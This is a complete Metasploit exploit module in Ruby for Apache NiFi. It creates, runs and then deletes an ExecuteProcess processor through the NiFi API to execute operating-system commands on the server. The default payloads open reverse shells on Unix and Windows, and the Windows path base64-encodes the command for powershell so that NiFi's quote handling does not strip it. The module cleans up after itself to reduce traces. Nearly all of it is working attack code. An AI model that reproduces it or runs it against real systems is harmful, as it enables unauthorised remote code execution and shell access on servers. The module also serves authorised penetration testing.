Apache NiFi API Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
# Potential Improvements:  
# Add option to authenticate using client certificate  
# Add a scanner module?  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'Apache NiFi API Remote Code Execution',  
'Description' => '  
This module uses the NiFi API to create an ExecuteProcess processor that will execute OS commands. The API must  
be unsecured (or credentials provided) and the ExecuteProcess processor must be available. An ExecuteProcessor  
processor is created then is configured with the payload and started. The processor is then stopped and  
deleted.',  
'License' => MSF_LICENSE,  
'Author' => ['Graeme Robinson'],  
'References' => [  
['URL', 'https://nifi.apache.org/'],  
['URL', 'https://github.com/apache/nifi'],  
['URL', 'https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/1.12.1/' \  
'org.apache.nifi.processors.standard.ExecuteProcess/index.html']  
],  
'DisclosureDate' => 'Oct 3 2020',  
'DefaultOptions' => { 'RPORT' => 8080 },  
'Platform' => %w[unix linux macos win],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Unix (In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'Payload' => { 'BadChars' => '"' },  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
],  
[  
'Windows (In-Memory)',  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :win_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]  
}  
))  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path', '/nifi-api']),  
OptString.new('USERNAME', [false, 'Username to authenticate with']),  
OptString.new('PASSWORD', [false, 'Password to authenticate with']),  
OptString.new('BEARER-TOKEN', [false, 'JWT authenticate with']),  
OptInt.new('DELAY', [true,  
'The delay (s) before stopping and deleting the processor',  
5]) # 2 seems enough in my lab, but set to 5 for safety  
],  
self.class  
)  
end  
  
def check_response(description, response, expected_response_code, item = '')  
# Check that response was received  
fail_with(Failure::Unreachable, "Unable to retrieve HTTP response from API when #{description}") unless response  
# Check that response code was expected  
if response.code != expected_response_code  
fail_with(Failure::UnexpectedReply,  
"Unexpected HTTP response code from API when #{description} " \  
"(received #{response.code}, expected #{expected_response_code})")  
end  
# Check that item can be retrieved  
return if item.empty?  
  
body = response.get_json_document  
unless body.key?(item)  
fail_with(Failure::UnexpectedReply, "Unable to retrieve #{item} from HTTP response when #{description}")  
end  
body[item]  
end  
  
def supports_login  
response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })  
config = check_response('GETting access configuration', response, 200, 'config')  
config['supportsLogin']  
end  
  
def fetch_process_group  
opts = { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'process-groups', 'root') }  
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token  
response = send_request_cgi(opts)  
check_response('GETting root process group', response, 200, 'id')  
end  
  
def create_processor(process_group)  
body = { 'component' => { 'type' => 'org.apache.nifi.processors.standard.ExecuteProcess' },  
'revision' => { 'version' => 0 } }  
opts = { 'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'process-groups', process_group, 'processors'),  
'ctype' => 'application/json',  
'data' => body.to_json }  
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token  
response = send_request_cgi(opts)  
check_response("POSTing new processor in process group #{process_group}", response, 201, 'id')  
end  
  
def configure_processor(command)  
cmd = command.split(' ', 2)  
body = {  
'component' => {  
'config' => {  
'autoTerminatedRelationships' => ['success'],  
'properties' => { 'Command' => cmd[0], 'Command Arguments' => cmd[1] },  
'schedulingPeriod' => '3600 sec'  
},  
'id' => @processor,  
'state' => 'RUNNING'  
},  
'revision' => { 'clientId' => 'x', 'version' => 1 }  
}  
opts = {  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, 'processors', @processor),  
'ctype' => 'application/json',  
'data' => body.to_json  
}  
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token  
response = send_request_cgi(opts)  
check_response("PUTting processor #{@processor} configuration", response, 200)  
end  
  
def stop_processor  
# Attempt to stop process  
body = { 'revision' => { 'clientId' => 'x', 'version' => 1 }, 'state' => 'STOPPED' }  
opts = {  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'run-status'),  
'ctype' => 'application/json',  
'data' => body.to_json  
}  
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token  
response = send_request_cgi(opts)  
check_response("PUTting processor #{@processor} stop command", response, 200)  
  
# Stop may not have worked (but must be done first). Terminate threads now  
opts = { 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'threads') }  
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token  
response = send_request_cgi(opts)  
check_response("DELETEing processor #{@processor} terminate threads command", response, 200)  
end  
  
def delete_processor  
opts = {  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, 'processors', @processor),  
'vars_get' => { 'version' => 3 }  
}  
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token  
response = send_request_cgi(opts)  
check_response("DELETEting processor #{@processor}", response, 200)  
end  
  
def check  
# As far as I can tell from the API documentation, it's not possible to check whether the required permissions are  
# present unless "permission to check permissions" is granted. For this reason it reports:  
# * "Unknown" if a timeout is experienced when checking whether login is required  
# * "Safe" if the response to the login check is not one of the two expected responses because it's probably not  
# NiFi  
# * "Detected" if login is required, because it has confirmed that NiFi is running on the port becuase it got an  
# expected response  
# * "Appears" if login is not required because it has confirmed that Nifi is running because it got the expected  
# response and if there is no authentication then there is no way of restricting the ExecuteCode permimssion  
  
@cleanup_required = false  
  
response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })  
if !response  
CheckCode::Unknown  
else  
body = response.get_json_document  
if !body.key?('config')  
CheckCode::Safe  
elsif body['config']['supportsLogin']  
CheckCode::Detected  
else  
CheckCode::Appears  
end  
end  
end  
  
def validate_config  
return if datastore['BEARER-TOKEN'].to_s.empty? || datastore['USERNAME'].to_s.empty?  
  
fail_with(Failure::BadConfig, 'Specify EITHER Bearer-Token OR Username')  
end  
  
def retrieve_token  
response = send_request_cgi(  
{  
'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'access', 'token'),  
'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }  
}  
)  
check_response('POSTing credentials', response, 201)  
response.body  
end  
  
def cleanup  
return unless @cleanup_required  
  
# Wait for thread to execute - This seems necesarry, especially on Windows  
# and there is no way I can see of checking whether the thread has executed  
print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting")  
sleep(datastore['DELAY'])  
  
# Stop Processor  
stop_processor  
vprint_good("Stopped and terminated processor #{@processor}")  
  
# Delete processor  
delete_processor  
vprint_good("Deleted processor #{@processor}")  
end  
  
def exploit  
validate_config  
  
# Check whether login is required and set/fetch token  
if supports_login  
if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?  
fail_with(Failure::BadConfig,  
'Authentication is required. Bearer-Token or Username and Password must be specified')  
end  
@token = if datastore['BEARER-TOKEN'].to_s.empty?  
retrieve_token  
else  
datastore['BEARER-TOKEN']  
end  
else  
@token = false  
end  
  
# Retrieve root process group  
process_group = fetch_process_group  
vprint_good("Retrieved process group: #{process_group}")  
  
@cleanup_required = true  
  
# Create processor in root process group  
@processor = create_processor(process_group)  
vprint_good("Created processor #{@processor} in process group #{process_group}")  
  
# Generate command  
case target['Type']  
when :unix_memory  
cmd = "bash -c \"#{payload.encoded}\""  
when :win_memory  
# This is a bit hacky because double quotes are processed and removed by the NiFi ExecuteCommand processor. See  
# below for why BadChars didn't cut it. The solution used is to wrap up command in a cmd /C "payload" command and  
# use powershell's Stop-parsing token (--%) to remove the need to perform any escaping of metacharacter. This  
# command is then base64 encoded and run with -e/-EncodedCommand. This allows commands including double quotes and  
# dollar signs (etc.) to be passed to cmd.exe  
#  
# This method was chosen rather than using  
# BadChars => '"'  
# with  
# cmd /C "#{payload.encoded}"  
# because commands such as  
# echo x^"x >%tmp%\x  
# did not work with the BadChars method ("^" is the cmd.exe escape char)  
enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))  
cmd = "powershell.exe -e #{enc_cmd}"  
end  
vprint_status("Using command #{cmd}")  
  
# Configure processor and run command  
configure_processor(cmd)  
vprint_good("Configured processor #{@processor} and ran command")  
end  
end  
`